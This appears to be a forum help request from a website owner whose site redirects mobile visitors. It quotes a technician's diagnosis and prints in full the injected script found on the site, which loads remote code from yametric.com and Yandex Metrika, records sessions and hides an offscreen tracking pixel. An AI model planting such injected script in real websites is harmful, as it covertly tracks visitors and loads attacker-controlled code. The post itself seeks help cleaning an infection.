The link redirects to another site because a file is infected

We tried to find a technician to solve the problem and got the following reply：

have checked and updated all plugins, the root reason of these unexpected redirection happened is
caused by the following script when a mobile user access the site, I have no tool to locate on the files of
the site was injected with the following script, you may contact host provider for help, they may have
some tool to scan and locate the script location.

https://cache.cloudswiftcdn.com/
(function(m,e,t,r,i,k,a){ m[i]=m[i]||function(){(m[i].a=m[i].a||
[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j <
document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
k=e.createElement(t),a=e.getElementsByTagName(t)
[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a);})(window, document, "script",
"https://mc.yandex.ru/metrika/tag.js", "ym");ym(96299872, "init", { clickmap:true,
trackLinks:true, accurateTrackBounce:true, webvisor:true });if (!
navigator.userAgent.includes("js-off")) {var div =
document.createElement("div");var img = document.createElement("img");img.src =
"https://mc.yandex.ru/watch/96299872";img.style.position =
"absolute";img.style.left = "-9999px";img.alt =
"";div.appendChild(img);document.body.appendChild(div);} var
_paq=window._paq=window._paq||
[];_paq.push(["trackPageView"]),_paq.push(["enableLinkTracking"]),function(){var
a="//www.yametric.com/";_paq.push(["setTrackerUrl",a+"matomo.php"]),_paq.push(["set
SiteId","3"]);var
e=document,p=e.createElement("script"),r=e.getElementsByTagName("script")
[0];p.async=!0,p.src=a+"matomo.js",r.parentNode.insertBefore(p,r)}();

Can you help us solve the above problems，thanks so much！

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